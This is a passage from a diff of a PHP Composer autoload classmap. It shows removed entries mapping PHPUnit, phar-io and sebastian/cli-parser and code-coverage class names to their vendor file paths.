'/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\LogToReportMigration' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Junit' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Logging' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TeamCity' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Html' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Text' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Xml' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Text' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Migration' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilder' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilderException' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationException' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Migrator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromFilterWhitelistToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromRootToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistExcludesToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistIncludesToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistIncludesToCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\PHPUnit' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Php' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\PhpHandler' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveCacheTokensAttribute' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveEmptyFilter' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveLogTypes' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectory' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestFile' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuite' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\UpdateSchemaLocationTo93' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Variable' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php', - 'PHPUnit\\Util\\Annotation\\DocBlock' => $vendorDir . '/phpunit/phpunit/src/Util/Annotation/DocBlock.php', - 'PHPUnit\\Util\\Annotation\\Registry' => $vendorDir . '/phpunit/phpunit/src/Util/Annotation/Registry.php', - 'PHPUnit\\Util\\Blacklist' => $vendorDir . '/phpunit/phpunit/src/Util/Blacklist.php', - 'PHPUnit\\Util\\Cloner' => $vendorDir . '/phpunit/phpunit/src/Util/Cloner.php', - 'PHPUnit\\Util\\Color' => $vendorDir . '/phpunit/phpunit/src/Util/Color.php', - 'PHPUnit\\Util\\ErrorHandler' => $vendorDir . '/phpunit/phpunit/src/Util/ErrorHandler.php', - 'PHPUnit\\Util\\Exception' => $vendorDir . '/phpunit/phpunit/src/Util/Exception.php', - 'PHPUnit\\Util\\ExcludeList' => $vendorDir . '/phpunit/phpunit/src/Util/ExcludeList.php', - 'PHPUnit\\Util\\FileLoader' => $vendorDir . '/phpunit/phpunit/src/Util/FileLoader.php', - 'PHPUnit\\Util\\Filesystem' => $vendorDir . '/phpunit/phpunit/src/Util/Filesystem.php', - 'PHPUnit\\Util\\Filter' => $vendorDir . '/phpunit/phpunit/src/Util/Filter.php', - 'PHPUnit\\Util\\GlobalState' => $vendorDir . '/phpunit/phpunit/src/Util/GlobalState.php', - 'PHPUnit\\Util\\InvalidDataSetException' => $vendorDir . '/phpunit/phpunit/src/Util/InvalidDataSetException.php', - 'PHPUnit\\Util\\Json' => $vendorDir . '/phpunit/phpunit/src/Util/Json.php', - 'PHPUnit\\Util\\Log\\JUnit' => $vendorDir . '/phpunit/phpunit/src/Util/Log/JUnit.php', - 'PHPUnit\\Util\\Log\\TeamCity' => $vendorDir . '/phpunit/phpunit/src/Util/Log/TeamCity.php', - 'PHPUnit\\Util\\PHP\\AbstractPhpProcess' => $vendorDir . '/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php', - 'PHPUnit\\Util\\PHP\\DefaultPhpProcess' => $vendorDir . '/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php', - 'PHPUnit\\Util\\PHP\\WindowsPhpProcess' => $vendorDir . '/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php', - 'PHPUnit\\Util\\Printer' => $vendorDir . '/phpunit/phpunit/src/Util/Printer.php', - 'PHPUnit\\Util\\Reflection' => $vendorDir . '/phpunit/phpunit/src/Util/Reflection.php', - 'PHPUnit\\Util\\RegularExpression' => $vendorDir . '/phpunit/phpunit/src/Util/RegularExpression.php', - 'PHPUnit\\Util\\Test' => $vendorDir . '/phpunit/phpunit/src/Util/Test.php', - 'PHPUnit\\Util\\TestDox\\CliTestDoxPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php', - 'PHPUnit\\Util\\TestDox\\HtmlResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php', - 'PHPUnit\\Util\\TestDox\\NamePrettifier' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php', - 'PHPUnit\\Util\\TestDox\\ResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php', - 'PHPUnit\\Util\\TestDox\\TestDoxPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php', - 'PHPUnit\\Util\\TestDox\\TextResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php', - 'PHPUnit\\Util\\TestDox\\XmlResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php', - 'PHPUnit\\Util\\TextTestListRenderer' => $vendorDir . '/phpunit/phpunit/src/Util/TextTestListRenderer.php', - 'PHPUnit\\Util\\Type' => $vendorDir . '/phpunit/phpunit/src/Util/Type.php', - 'PHPUnit\\Util\\VersionComparisonOperator' => $vendorDir . '/phpunit/phpunit/src/Util/VersionComparisonOperator.php', - 'PHPUnit\\Util\\XdebugFilterScriptGenerator' => $vendorDir . '/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php', - 'PHPUnit\\Util\\Xml' => $vendorDir . '/phpunit/phpunit/src/Util/Xml.php', - 'PHPUnit\\Util\\XmlTestListRenderer' => $vendorDir . '/phpunit/phpunit/src/Util/XmlTestListRenderer.php', - 'PHPUnit\\Util\\Xml\\Exception' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/Exception.php', - 'PHPUnit\\Util\\Xml\\FailedSchemaDetectionResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php', - 'PHPUnit\\Util\\Xml\\Loader' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/Loader.php', - 'PHPUnit\\Util\\Xml\\SchemaDetectionResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php', - 'PHPUnit\\Util\\Xml\\SchemaDetector' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SchemaDetector.php', - 'PHPUnit\\Util\\Xml\\SchemaFinder' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SchemaFinder.php', - 'PHPUnit\\Util\\Xml\\SnapshotNodeList' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php', - 'PHPUnit\\Util\\Xml\\SuccessfulSchemaDetectionResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php', - 'PHPUnit\\Util\\Xml\\ValidationResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/ValidationResult.php', - 'PHPUnit\\Util\\Xml\\Validator' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/Validator.php', - 'PharIo\\Manifest\\Application' => $vendorDir . '/phar-io/manifest/src/values/Application.php', - 'PharIo\\Manifest\\ApplicationName' => $vendorDir . '/phar-io/manifest/src/values/ApplicationName.php', - 'PharIo\\Manifest\\Author' => $vendorDir . '/phar-io/manifest/src/values/Author.php', - 'PharIo\\Manifest\\AuthorCollection' => $vendorDir . '/phar-io/manifest/src/values/AuthorCollection.php', - 'PharIo\\Manifest\\AuthorCollectionIterator' => $vendorDir . '/phar-io/manifest/src/values/AuthorCollectionIterator.php', - 'PharIo\\Manifest\\AuthorElement' => $vendorDir . '/phar-io/manifest/src/xml/AuthorElement.php', - 'PharIo\\Manifest\\AuthorElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/AuthorElementCollection.php', - 'PharIo\\Manifest\\BundledComponent' => $vendorDir . '/phar-io/manifest/src/values/BundledComponent.php', - 'PharIo\\Manifest\\BundledComponentCollection' => $vendorDir . '/phar-io/manifest/src/values/BundledComponentCollection.php', - 'PharIo\\Manifest\\BundledComponentCollectionIterator' => $vendorDir . '/phar-io/manifest/src/values/BundledComponentCollectionIterator.php', - 'PharIo\\Manifest\\BundlesElement' => $vendorDir . '/phar-io/manifest/src/xml/BundlesElement.php', - 'PharIo\\Manifest\\ComponentElement' => $vendorDir . '/phar-io/manifest/src/xml/ComponentElement.php', - 'PharIo\\Manifest\\ComponentElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/ComponentElementCollection.php', - 'PharIo\\Manifest\\ContainsElement' => $vendorDir . '/phar-io/manifest/src/xml/ContainsElement.php', - 'PharIo\\Manifest\\CopyrightElement' => $vendorDir . '/phar-io/manifest/src/xml/CopyrightElement.php', - 'PharIo\\Manifest\\CopyrightInformation' => $vendorDir . '/phar-io/manifest/src/values/CopyrightInformation.php', - 'PharIo\\Manifest\\ElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/ElementCollection.php', - 'PharIo\\Manifest\\ElementCollectionException' => $vendorDir . '/phar-io/manifest/src/exceptions/ElementCollectionException.php', - 'PharIo\\Manifest\\Email' => $vendorDir . '/phar-io/manifest/src/values/Email.php', - 'PharIo\\Manifest\\Exception' => $vendorDir . '/phar-io/manifest/src/exceptions/Exception.php', - 'PharIo\\Manifest\\ExtElement' => $vendorDir . '/phar-io/manifest/src/xml/ExtElement.php', - 'PharIo\\Manifest\\ExtElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/ExtElementCollection.php', - 'PharIo\\Manifest\\Extension' => $vendorDir . '/phar-io/manifest/src/values/Extension.php', - 'PharIo\\Manifest\\ExtensionElement' => $vendorDir . '/phar-io/manifest/src/xml/ExtensionElement.php', - 'PharIo\\Manifest\\InvalidApplicationNameException' => $vendorDir . '/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php', - 'PharIo\\Manifest\\InvalidEmailException' => $vendorDir . '/phar-io/manifest/src/exceptions/InvalidEmailException.php', - 'PharIo\\Manifest\\InvalidUrlException' => $vendorDir . '/phar-io/manifest/src/exceptions/InvalidUrlException.php', - 'PharIo\\Manifest\\Library' => $vendorDir . '/phar-io/manifest/src/values/Library.php', - 'PharIo\\Manifest\\License' => $vendorDir . '/phar-io/manifest/src/values/License.php', - 'PharIo\\Manifest\\LicenseElement' => $vendorDir . '/phar-io/manifest/src/xml/LicenseElement.php', - 'PharIo\\Manifest\\Manifest' => $vendorDir . '/phar-io/manifest/src/values/Manifest.php', - 'PharIo\\Manifest\\ManifestDocument' => $vendorDir . '/phar-io/manifest/src/xml/ManifestDocument.php', - 'PharIo\\Manifest\\ManifestDocumentException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestDocumentException.php', - 'PharIo\\Manifest\\ManifestDocumentLoadingException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php', - 'PharIo\\Manifest\\ManifestDocumentMapper' => $vendorDir . '/phar-io/manifest/src/ManifestDocumentMapper.php', - 'PharIo\\Manifest\\ManifestDocumentMapperException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php', - 'PharIo\\Manifest\\ManifestElement' => $vendorDir . '/phar-io/manifest/src/xml/ManifestElement.php', - 'PharIo\\Manifest\\ManifestElementException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestElementException.php', - 'PharIo\\Manifest\\ManifestLoader' => $vendorDir . '/phar-io/manifest/src/ManifestLoader.php', - 'PharIo\\Manifest\\ManifestLoaderException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestLoaderException.php', - 'PharIo\\Manifest\\ManifestSerializer' => $vendorDir . '/phar-io/manifest/src/ManifestSerializer.php', - 'PharIo\\Manifest\\NoEmailAddressException' => $vendorDir . '/phar-io/manifest/src/exceptions/NoEmailAddressException.php', - 'PharIo\\Manifest\\PhpElement' => $vendorDir . '/phar-io/manifest/src/xml/PhpElement.php', - 'PharIo\\Manifest\\PhpExtensionRequirement' => $vendorDir . '/phar-io/manifest/src/values/PhpExtensionRequirement.php', - 'PharIo\\Manifest\\PhpVersionRequirement' => $vendorDir . '/phar-io/manifest/src/values/PhpVersionRequirement.php', - 'PharIo\\Manifest\\Requirement' => $vendorDir . '/phar-io/manifest/src/values/Requirement.php', - 'PharIo\\Manifest\\RequirementCollection' => $vendorDir . '/phar-io/manifest/src/values/RequirementCollection.php', - 'PharIo\\Manifest\\RequirementCollectionIterator' => $vendorDir . '/phar-io/manifest/src/values/RequirementCollectionIterator.php', - 'PharIo\\Manifest\\RequiresElement' => $vendorDir . '/phar-io/manifest/src/xml/RequiresElement.php', - 'PharIo\\Manifest\\Type' => $vendorDir . '/phar-io/manifest/src/values/Type.php', - 'PharIo\\Manifest\\Url' => $vendorDir . '/phar-io/manifest/src/values/Url.php', - 'PharIo\\Version\\AbstractVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/AbstractVersionConstraint.php', - 'PharIo\\Version\\AndVersionConstraintGroup' => $vendorDir . '/phar-io/version/src/constraints/AndVersionConstraintGroup.php', - 'PharIo\\Version\\AnyVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/AnyVersionConstraint.php', - 'PharIo\\Version\\BuildMetaData' => $vendorDir . '/phar-io/version/src/BuildMetaData.php', - 'PharIo\\Version\\ExactVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/ExactVersionConstraint.php', - 'PharIo\\Version\\Exception' => $vendorDir . '/phar-io/version/src/exceptions/Exception.php', - 'PharIo\\Version\\GreaterThanOrEqualToVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php', - 'PharIo\\Version\\InvalidPreReleaseSuffixException' => $vendorDir . '/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php', - 'PharIo\\Version\\InvalidVersionException' => $vendorDir . '/phar-io/version/src/exceptions/InvalidVersionException.php', - 'PharIo\\Version\\NoBuildMetaDataException' => $vendorDir . '/phar-io/version/src/exceptions/NoBuildMetaDataException.php', - 'PharIo\\Version\\NoPreReleaseSuffixException' => $vendorDir . '/phar-io/version/src/exceptions/NoPreReleaseSuffixException.php', - 'PharIo\\Version\\OrVersionConstraintGroup' => $vendorDir . '/phar-io/version/src/constraints/OrVersionConstraintGroup.php', - 'PharIo\\Version\\PreReleaseSuffix' => $vendorDir . '/phar-io/version/src/PreReleaseSuffix.php', - 'PharIo\\Version\\SpecificMajorAndMinorVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php', - 'PharIo\\Version\\SpecificMajorVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php', - 'PharIo\\Version\\UnsupportedVersionConstraintException' => $vendorDir . '/phar-io/version/src/exceptions/UnsupportedVersionConstraintException.php', - 'PharIo\\Version\\Version' => $vendorDir . '/phar-io/version/src/Version.php', - 'PharIo\\Version\\VersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/VersionConstraint.php', - 'PharIo\\Version\\VersionConstraintParser' => $vendorDir . '/phar-io/version/src/VersionConstraintParser.php', - 'PharIo\\Version\\VersionConstraintValue' => $vendorDir . '/phar-io/version/src/VersionConstraintValue.php', - 'PharIo\\Version\\VersionNumber' => $vendorDir . '/phar-io/version/src/VersionNumber.php', - 'SebastianBergmann\\CliParser\\AmbiguousOptionException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php', - 'SebastianBergmann\\CliParser\\Exception' => $vendorDir . '/sebastian/cli-parser/src/exceptions/Exception.php', - 'SebastianBergmann\\CliParser\\OptionDoesNotAllowArgumentException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php', - 'SebastianBergmann\\CliParser\\Parser' => $vendorDir . '/sebastian/cli-parser/src/Parser.php', - 'SebastianBergmann\\CliParser\\RequiredOptionArgumentMissingException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php', - 'SebastianBergmann\\CliParser\\UnknownOptionException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/UnknownOptionException.php', - 'SebastianBergmann\\CodeCoverage\\BranchAndPathCoverageNotSupportedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php', - 'SebastianBergmann\\CodeCoverage\\CodeCoverage' => $vendorDir . '/phpunit/php-code-coverage/src/CodeCoverage.php', - 'SebastianBergmann\\CodeCoverage\\DeadCodeDetectionNotSupportedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Driver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Driver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PathExistsButIsNotDirectoryException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PcovDriver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/PcovDriver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PcovNotAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgDriver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgNotAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Selector' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Selector.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\WriteOperationFailedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\WrongXdebugVersionException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2Driver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2NotEnabledException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3Driver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3NotEnabledException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php', - 'SebastianBergmann\\CodeCoverage\\Driver\\XdebugNotAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Exception' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/Exception.php', - 'SebastianBergmann\\CodeCoverage\\Filter' => $vendorDir . '/phpunit/php-code-coverage/src/Filter.php', - 'SebastianBergmann\\CodeCoverage\\InvalidArgumentException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php', - 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverWithPathCoverageSupportAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php', - 'SebastianBergmann\\CodeCoverage\\Node\\AbstractNode' => $vendorDir . '/phpunit/php-code-coverage/src/Node/AbstractNode.php', - 'SebastianBergmann\\CodeCoverage\\Node\\Builder' => $vendorDir . '/phpunit/php-code-coverage/src/Node/Builder.php', - 'SebastianBergmann\\CodeCoverage\\Node\\CrapIndex' => $vendorDir . '/phpunit/php-code-coverage/src/Node/CrapIndex.php', - 'SebastianBergmann\\CodeCoverage\\Node\\Directory' => $vendorDir . '/phpunit/php-code-coverage/src/Node/Directory.php', - 'SebastianBergmann\\CodeCoverage\\Node\\File' => $vendorDir . '/phpunit/php-code-coverage/src/Node/File.php', - 'SebastianBergmann\\CodeCoverage\\Node\\Iterator' => $vendorDir . '/phpunit/php-code-coverage/src/Node/Iterator.php', - 'SebastianBergmann\\CodeCoverage\\ParserException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/ParserException.php', - 'SebastianBergmann\\CodeCoverage\\ProcessedCodeCoverageData' => $vendorDir . '/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php', - 'SebastianBergmann\\CodeCoverage\\RawCodeCoverageData' => $vendorDir . '/phpunit/php-code-coverage/src/RawCodeCoverageData.php', - 'SebastianBergmann\\CodeCoverage\\ReflectionException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/ReflectionException.php', - 'SebastianBergmann\\CodeCoverage\\ReportAlreadyFinalizedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Clover' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Clover.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Cobertura' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Cobertura.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Crap4j' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Crap4j.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Dashboard' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Directory' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Facade' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Facade.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\File' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Renderer' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer.php', - 'SebastianBergmann\\CodeCoverage\\Report\\PHP' => $vendorDir . '/phpunit/php-code-coverage/src/Report/PHP.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Text' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Text.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\BuildInformation' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Coverage' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Coverage.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Directory' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Directory.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Facade' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Facade.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\File' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/File.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Method' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Method.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Node' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Node.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Project' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Project.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Report' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Report.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Source' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Source.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Tests' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Tests.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Totals' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Totals.php', - 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Unit' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Unit.php', - 'SebastianBergmann\\CodeCoverage\\StaticAnalysisCacheNotConfiguredException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php', - 